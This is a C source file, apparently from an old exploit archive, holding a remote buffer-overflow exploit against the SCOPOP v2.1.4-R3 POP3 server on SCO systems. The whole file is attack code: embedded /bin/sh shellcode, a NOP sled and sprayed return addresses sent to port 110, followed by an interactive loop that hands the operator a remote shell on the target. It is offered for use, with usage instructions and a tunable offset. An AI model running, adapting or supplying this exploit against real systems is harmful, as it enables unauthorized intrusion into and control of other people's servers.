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sco-pop.c
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C/C++ Source or Header
|
2005-02-12
|
3KB
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103 lines
/*
* Remote pop exploit for SCO systems.
* by glitch of litecrew.
* Ripped from Miroslaw Grzybek's code.
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/errno.h>
char *shell=
"\xeb\x32\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x12\x89\x5e\x17"
"\x88\x5e\x1c\x8d\x16\x89\x56\x0e\x31\xc0\xb0\x3b\x8d\x7e"
"\x12\x89\xf9\x89\xf9\xbf\x10\x10\x10\x10\x29\x7e\xf5\x89"
"\xcf\xeb\x01\xff\x63\x61\x62\x62\xeb\x1b\xe8\xc9\xff\xff"
"\xff/bin/sh\xaa\xaa\xaa\xaa\xff\xff\xff\xbb\xbb\xbb\xbb"
"\xcc\xcc\xcc\xcc\x9a\xaa\xaa\xaa\xaa\x07\xaa";
#define ADDR 0x80474b4
#define OFFSET 0
#define BUFLEN 1200
char buf[BUFLEN];
int offset=OFFSET;
int nbytes;
int sock;
struct sockaddr_in sa;
struct hostent *hp;
short a;
void main (int argc, char *argv[])
{
int i;
if(argc<2)
{
printf("Usage: %s <IP | HOSTNAME> [offset]\n",argv[0]);
printf("Default offset is 0. It works against SCOPOP v2.1.4-R3\n");
exit(0);
}
if(argc>2)
offset=atoi(argv[2]);
memset(buf,0x90,BUFLEN);
memcpy(buf+800,shell,strlen(shell));
for(i=901;i<BUFLEN-4;i+=4)
*(int *)&buf[i]=ADDR+offset;
buf[BUFLEN]='\n';
if((hp=(struct hostent *)gethostbyname(argv[1]))==NULL)
{
perror("gethostbyname()");
exit(0);
}
if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0)
{
perror("socket()");
exit(0);
}
sa.sin_family=AF_INET;
sa.sin_port=htons(110);
memcpy((char *)&sa.sin_addr,(char *)hp->h_addr,hp->h_length);
if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))!=0)
{
perror("connect()");
exit(0);
}
printf("CONNECTED TO %s... SENDING DATA\n",argv[1]);
fflush(stdout);
write(sock,buf,strlen(buf));
while(1)
{
fd_set input;
FD_SET(0,&input);
FD_SET(sock,&input);
if((select(sock+1,&input,NULL,NULL,NULL))<0)
{
if(errno==EINTR) continue;
printf("CONNECTION CLOSED...\n");
fflush(stdout);
exit(1);
}
if(FD_ISSET(sock,&input))
{
nbytes=read(sock,buf,BUFLEN);
for(i=0;i<nbytes;i++)
{
*(char *)&a=buf[i];
if ((a!=10)&&((a >126) || (a<32)) )
{
buf[i]=' ';
}
}
write(1,buf,nbytes);
}
if(FD_ISSET(0,&input))
write(sock,buf,read(0,buf,BUFLEN));
}
}
/* www.hack.co.za [2000]*/